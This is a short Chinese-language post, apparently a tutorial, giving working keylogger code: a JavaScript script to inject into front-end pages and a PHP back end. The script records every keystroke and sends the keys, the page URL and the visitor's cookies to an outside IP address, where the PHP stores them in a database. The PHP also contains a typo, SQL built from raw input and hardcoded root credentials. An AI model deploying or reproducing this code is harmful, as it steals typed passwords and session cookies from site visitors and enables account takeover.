这是放在前端页面的JS代码,通过ascii码对值进行判定,然后将值发送给后端
var keys = ''; //定义一个全局变量用来接收案件值
//onkeyup表示按键松开时触发,定义一个匿名函数,a用来接收事件
document.onkeyup = function (e) {
//定义一个变量接收键值
var code = e.keyCode;
//按下了shift并且返回值的ascii码为大写时
if (e.shiftKey && code >= 65 && code <= 90 ) {
//函数用于从ascii码中返回一个字符串。
keys += String.fromCharCode(code);
}
//当未按下shilt时,通过ascii码转换为小写
else if (code >=65 && code <= 90) {
keys += String.fromCharCode(code+32);
}
else {
//其他的值如数字、符号的原样写入
keys += String.fromCharCode(code);
}
sendKey();
}
//发送收集的键值到服务器,采用ajax的方式
function sendKey() {
var xmlhttp = new XMLHttpRequest(); //实例化一个AJAX对象
//定义发送的数据包
var url = "http://43.142.25.5:81/keyboard.php";
var data = "url="+location.href+"&keyboard="+keys+"&cookie="+document.cookie;
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(data);
}
后台代码,我这里采用了PHP的后台,将获取到的值写入了数据库
<?php
$ipaddr=$_SERVER['REMOTE_ADDR'];
$url = $_POST['url'];
$cookie = $_GOST['cookie'];
$keyboard = $_POST['keyboard'];
$con=mysqli_connect('localhost','root','123456','db_name');
mysqli_query($con,'set name utf8');
$ins = "insert keyboard value('','$ipaddr','$url','$cookie','$keyboard')";
mysqli_query($con,$ins);
header("Access-Control-Allow-Origin:*");
echo "<script>location.href='$url';</script>";
?>